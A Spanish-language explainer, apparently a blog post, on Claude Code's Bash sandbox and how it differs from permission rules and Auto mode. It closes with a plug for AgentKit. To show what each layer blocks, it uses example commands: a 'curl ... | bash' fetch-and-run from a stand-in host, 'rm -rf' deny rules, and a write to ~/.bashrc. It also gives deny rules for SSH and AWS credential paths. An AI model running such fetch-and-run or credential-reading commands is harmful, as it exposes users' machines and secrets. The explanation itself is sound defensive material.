Sandbox de Claude Code explicado: Bash sandbox vs permisos vs modo Auto
El sandbox de Claude Code es una frontera que impone el sistema operativo: tú defines qué archivos y dominios de red puede tocar un comando Bash, y macOS/Linux bloquean esa frontera en vez de pedirte que confíes en el comando. Es algo aparte de las reglas de permiso (allow/deny/ask antes de que se ejecute una herramienta) y aparte del Auto mode (un clasificador revisa cada acción en lugar de preguntarte). Estas tres capas se apilan, no se reemplazan entre sí — y la documentación oficial lo dice sin rodeos: /sandbox no es un modo de permiso.
- Lo verifiqué contrastándolo con la documentación oficial (code.claude.com/docs/en/sandboxing, /sandbox-environments) al momento de escribir (agosto de 2026); los ajustes del sandbox y las claves de configuración cambian rápido entre versiones, así que revisa la documentación en vivo antes de depender de cualquier cosa de aquí.
¿Qué es el Bash sandbox de Claude Code?
Sin rodeos: tú defines qué archivos y dominios de red puede tocar un comando, y el sistema operativo impone esa frontera — directo de la documentación primaria. Así que cuando Claude ejecuta rm -rf /tmp/x o curl api.example.com, es el OS — y no el propio criterio de Claude — quien decide si ese comando puede llegar al objetivo.
Esta es una capa de defensa distinta del comportamiento de "preguntar antes de ejecutar" que la mayoría ya conoce de Claude Code. Las reglas de permiso bloquean una acción antes de que se ejecute; el sandbox contiene la consecuencia mientras se ejecuta, incluso después de que los permisos ya dijeron que sí o de que aprobaste algo por error.
Cómo se impone: Seatbelt vs bubblewrap + socat
El mecanismo de imposición cambia según el OS — Claude Code no está creando su propio sandbox, usa las primitivas de aislamiento que el OS ya trae.
| OS | Mecanismo | ¿Hay que instalar? |
|---|---|---|
| macOS | Seatbelt (el sandbox-exec nativo de Apple) | No, funciona de fábrica |
| Linux / WSL2 | bubblewrap (aislamiento del sistema de archivos) + socat (relay de red) | Sí: apt-get install bubblewrap socat o dnf install bubblewrap socat |
| WSL1 | Sin soporte | bubblewrap necesita funciones de kernel que solo tiene WSL2 |
| Windows nativo | Sin soporte | Ejecútalo dentro de WSL2 en su lugar |
Si ejecutas Claude Code directo en Windows sin WSL, el sandbox prácticamente no existe para ti — sin ningún error escandaloso, simplemente no puede imponer nada. Pásate a WSL2 para tener una frontera de sandbox de verdad.
Qué queda realmente aislado: sistema de archivos y red
No des por hecho que "encender el sandbox" bloquea la máquina entera. El valor por defecto está desequilibrado entre lecturas y escrituras — y ahí es donde la mayoría se lleva la sorpresa.
| Tipo | Por defecto | Nota |
|---|---|---|
| Escrituras de archivos | Solo el directorio de trabajo + temp de la sesión | Estricto, como se espera |
| Lecturas de archivos | Toda la máquina salvo las rutas denegadas | La trampa de verdad: esto sigue leyendo ~/.aws/credentials y ~/.ssh por defecto, a menos que tú misma agregues reglas de deny |
| Red | Ningún dominio permitido de antemano | El primer uso de un dominio nuevo genera un prompt (o lo revisa el clasificador del Auto mode); el tráfico pasa por un proxy local |
En otras palabras: el valor por defecto del sandbox protege tu máquina de escrituras perdidas mucho mejor que de lecturas perdidas. Si tu repositorio está cerca de claves SSH o credenciales de AWS, no des por hecho que el sandbox ya las cubre — agrega reglas de deny para las rutas sensibles si necesitas esa garantía.
Sandbox vs reglas de permiso vs Auto mode: la tabla de 3 vías
Este es el corazón del artículo, porque casi ninguna fuente separa las tres capas en una sola tabla. No se reemplazan entre sí — se apilan, y cada una responde a una pregunta distinta:
| Capa | Controla | Reemplaza el prompt por acción con | Ejemplo |
|---|---|---|---|
| Reglas de permiso | Qué herramientas pueden ejecutarse, evaluadas antes de cualquier comando | Reglas estáticas de allow/deny/ask en settings.json | Denegar Bash(rm -rf *) |
| Modos de permiso (incl. Auto mode) | Si te preguntan primero | Un clasificador revisa cada acción por ti | El Auto mode bloquea curl | bash sin preguntar |
| Sandbox (y sandbox auto-allow) | Qué puede tocar de verdad un comando Bash en ejecución | Una frontera del OS contiene el comando en lugar de preguntar | Una escritura fuera del directorio de trabajo la bloquea el OS, sin ningún prompt |
La confusión más común: el sandbox tiene su propio modo llamado sandbox auto-allow (elegido en la pestaña Mode de /sandbox), que suena muy parecido a Auto mode — el modo de permiso por defecto actual de Claude Code (mira el Auto mode de Claude Code). Son dos mecanismos independientes que solo comparten la palabra "auto": el sandbox auto-allow decide si un comando Bash se ejecuta libremente dentro de su frontera definida sin preguntar; el Auto mode decide si un clasificador revisa cada acción (no solo Bash) en lugar de preguntarte. Encender ambos no genera conflicto — se apilan, ninguno anula al otro. No dejes que la palabra compartida "auto" te convenza de que son lo mismo.
Un ejemplo concreto: qué pasa realmente cuando un comando cruza la frontera
La teoría es fácil de confundir; un ejemplo hace que encaje. Digamos que ejecutas Claude Code con las tres capas encendidas: una regla de allow para npm test, el Auto mode como tu modo de permiso y el sandbox configurado en auto-allow.
- Claude ejecuta
npm test: la regla de permiso coincide con la entrada de allow al instante, sin prompt. El sandbox tampoco tiene nada que bloquear, ya que el comando solo lee/escribe dentro del directorio del proyecto. - Claude ejecuta
curl https://sketchy-cdn.example | bash: ninguna regla de allow coincide, así que pasa al Auto mode. El clasificador reconoce el clásico patrón peligrosocurl | bashy lo bloquea por su cuenta — no te preguntan, pero el comando tampoco se ejecuta. - Claude ejecuta una escritura fuera del directorio del proyecto, digamos
echo x > ~/.bashrc: supón que tanto la regla de permiso como el Auto mode lo dejan pasar porque parece inofensivo. Aquí es donde entra el sandbox: el OS bloquea la escritura de plano porque~/.bashrcqueda fuera de la frontera de escritura definida — sin prompt, sin clasificador, solo un comando que falla a nivel del OS.
Tres situaciones, tres capas distintas haciendo la atrapada. Por eso justamente la tabla de 3 vías de arriba vale más la pena recordar que una descripción de una línea: cada capa atrapa un tipo distinto de error, y solo obtienes cobertura completa cuando las tres están de verdad encendidas.
Dónde encaja el Bash sandbox entre los entornos de sandbox
El Bash sandbox es la opción más ligera dentro de una gama de niveles de aislamiento que Claude Code admite. Si necesitas un aislamiento más profundo, aquí tienes el panorama completo:
| Nivel | Aísla | ¿Necesita Docker/VM? |
|---|---|---|
| Bash sandbox (este artículo) | Solo la herramienta Bash | No |
| Sandbox runtime (beta) | Todo el proceso de Claude Code | No, pero aún en beta |
| Dev container / container personalizado | El entorno completo vía Docker | Sí |
| VM | Una máquina virtual dedicada entera | Sí (hipervisor) |
| Claude Code en la web | Una VM alojada por Anthropic | No, Anthropic la gestiona |
Lo clave para recordar: el Bash sandbox no cubre las herramientas de archivo (Read/Edit/Write), los servidores MCP ni los hooks — esos se ejecutan por completo fuera de la frontera de Bash. Para blindar también eso, necesitas una de las opciones más pesadas de arriba, no solo activar /sandbox.
Cuándo activarlo
No enciendas el sandbox solo porque suena más seguro — decide según cómo ejecutas Claude Code de verdad:
- Ejecutándolo en tu propia máquina, queriendo menos prompts de s/n: el sandbox por sí solo basta. Cambia los prompts por una frontera del OS, y tú sigues viéndolo todo pasar en vivo.
- Ejecutándolo sin supervisión con
--dangerously-skip-permissionso Auto mode durante la noche: el sandbox por sí solo no basta. Combínalo con un container, VM o sandbox runtime — porque no hay nadie ahí para atrapar lo que se cuele por la frontera. - Probando un paquete o script desconocido que no has revisado del todo: el sandbox te deja experimentar sin preocuparte de que escriba fuera del proyecto — pero recuerda que las lecturas siguen bien abiertas por defecto, así que no ejecutes algo en lo que no confías cerca de archivos que guardan credenciales.
Cómo activarlo
Ejecuta el comando, elige un modo, listo:
/sandboxElige la pestaña Mode para optar entre sandbox auto-allow (sin prompts, apoyándose por completo en la frontera del OS) o el comportamiento de permiso normal (sigue mostrando un prompt cuando un comando toca la frontera). Esto se guarda en .claude/settings.local.json como ajuste por proyecto, o define sandbox.enabled: true en ~/.claude/settings.json para dejarlo activado por defecto en todos los proyectos.
Limitaciones: qué no protege
Hablando claro, para que no te vayas de aquí con una confianza falsa:
- El filtrado de red no inspecciona el contenido TLS por defecto — es decir, el domain fronting (disfrazar el destino real) es un riesgo real que la propia documentación primaria señala.
- Las lecturas de archivos quedan bien abiertas por defecto — a menos que agregues tus propias reglas de deny, el sandbox no oculta automáticamente las credenciales que estén fuera del directorio de trabajo.
- No sustituye una revisión de seguridad de verdad. El sandbox es una capa de defensa, no el modelo de seguridad completo.
Para apretar las lecturas de archivos, agrega una regla de deny como:
{
"sandbox": {
"filesystem": {
"deny": ["~/.ssh/**", "~/.aws/credentials"]
}
}
}en .claude/settings.json o ~/.claude/settings.json, según quieras el alcance en un solo proyecto o en toda la máquina. Los nombres exactos de las claves pueden cambiar entre versiones, así que revisa la documentación en vivo antes de copiar esto al pie de la letra.
Para el modelo de seguridad completo, incluidas las reglas de permiso y la gestión de secretos, mira las mejores prácticas de seguridad para programar con IA en Claude Code.
AgentKit se ejecuta dentro del sandbox que tú configures
Para ser clara y que nadie se haga una idea equivocada: AgentKit no agrega, no evita ni necesita un permiso especial de la frontera del sandbox. Sus skills se ejecutan a través del propio sistema nativo de llamadas a herramientas de Claude Code, así que un flujo del kit hereda exactamente las reglas de sistema de archivos/red que ya están activas, ya sea que estés en sandbox auto-allow, Auto mode o ambos. Si quieres el panorama completo de lo que hace AgentKit antes de comprar, lee la reseña de AgentKit.
¿Quieres un set de flujos ya listo que se ejecute con seguridad dentro de cualquier sandbox que ya hayas configurado? AgentKit no toca la frontera del sandbox — solo empaqueta skills/agents para que no andes escribiendo scripts sueltos y abandonándolos.
Preguntas frecuentes (FAQ)
¿El sandbox viene activado por defecto?
No por defecto en todos los proyectos. Lo activas con /sandbox, eliges un modo y lo guardas en los ajustes del proyecto o del usuario, según el alcance que quieras.
¿El sandbox reemplaza por completo los prompts de permiso?
No. El sandbox solo controla lo que puede tocar un comando Bash en ejecución. Las reglas de permiso (qué herramientas pueden ejecutarse) y los modos de permiso (si te preguntan primero) son capas separadas que siguen funcionando junto al sandbox, sin ser reemplazadas por él.
¿Cuál es la diferencia entre sandbox auto-allow y Auto mode?
La misma palabra "auto", dos mecanismos independientes. El sandbox auto-allow es una opción en la pestaña Mode de /sandbox que decide si un comando Bash se ejecuta libremente dentro de su frontera del OS sin preguntar. El Auto mode es el modo de permiso por defecto de Claude Code, que usa un clasificador para revisar cada acción (no solo Bash) en lugar de preguntarte. Encender ambos suma sus efectos; ninguno anula al otro.
¿El sandbox funciona en Windows?
No en Windows nativo, y WSL1 tampoco es compatible. Para una frontera de sandbox de verdad, ejecuta Claude Code dentro de WSL2, donde el mecanismo bubblewrap + socat sí funciona.
¿Claude todavía puede leer mis claves SSH dentro del sandbox?
Posiblemente, a menos que agregues reglas de deny tú misma. La política de lectura por defecto del sandbox cubre casi toda la máquina salvo las rutas denegadas explícitamente — el filtro de lectura es mucho más laxo que el de escritura.
¿El sandbox protege los servidores MCP y los hooks?
No. El Bash sandbox solo envuelve la herramienta Bash — los servidores MCP, los hooks y las herramientas de archivo (Read/Edit/Write) se ejecutan todos fuera de esta frontera. Para un aislamiento más amplio, usa un dev container, VM o el sandbox runtime.
Conclusión
Ten presente un único modelo de 3 capas: las reglas de permiso deciden qué herramientas pueden ejecutarse, los modos de permiso (incluido el Auto mode) deciden si te preguntan primero, y el sandbox decide qué puede tocar de verdad un comando Bash en ejecución. Estas capas se apilan, no se reemplazan entre sí — y el sandbox auto-allow y el Auto mode son dos mecanismos distintos que solo por casualidad comparten la palabra "auto". Para el panorama de seguridad completo, mira las mejores prácticas de seguridad para programar con IA en Claude Code.